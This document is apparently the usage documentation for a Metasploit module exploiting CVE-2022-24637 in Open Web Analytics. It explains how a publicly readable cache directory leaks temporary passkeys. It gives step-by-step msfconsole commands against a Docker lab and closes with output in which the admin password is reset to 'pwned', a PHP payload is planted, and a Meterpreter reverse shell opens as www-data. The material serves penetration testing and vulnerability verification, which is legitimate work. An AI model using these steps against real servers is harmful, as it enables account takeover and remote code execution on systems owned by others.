CVE-2022-24637

Vulnerable Application

Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.

Verification Steps

1. Start a vulnerable instance of OWA using docker

   • Download https://github.com/Pflegusch/CVE-2022-24637/blob/main/deployment/docker-compose.yml
   • Start the containers: docker compose up -d
   • Open http://127.0.0.1:80/
   • Follow installation steps using the envs from the docker-compose.yml file
     • Public URL: http://127.0.0.1/
     • Database Host (docker inspect <db-container> and get IPAddress, e.g 172.22.0.2)
     • Database Port: 3306
     • Database Name: owa
     • Database User: owa
     • Database Password: Demo12+#
     • Continue
     • Site Domain: http://127.0.0.1
     • Admin name: admin
     • E-Mail: [email protected]
     • Password: Demo12+#
     • Continue

2. Start msfconsole

3. use exploit/multi/http/open_web_analytics_rce

4. set RHOSTS 127.0.0.1

5. set RPORT 80

6. set SSL false

7. set LHOST 172.22.0.1 -> this needs to be bridge IP that got created with the docker compose up -d command

8. check

9. run

Options

Password

When exploiting the target, the password of the attacked user will be overwritten with this password.

Username

The user that will be targeted with this exploit.

Advanced Options

SearchLimit

The exploit works by retrieving a temp_passkey value from a cache file that gets created for each user when trying to login with it. Since the /owa-data/caches/ directory is publicly accessible, we can retrieve these cache files. The exact path for the cache files depends on the user_id and can get calculated with that. This option defines how many calculated paths, starting from 0, should be checked for cache files with the temp_passkey value in it.

Scenarios

Version 1.7.3 using docker deployment from above

msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run

[*] Started reverse TCP handler on 172.22.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!

meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >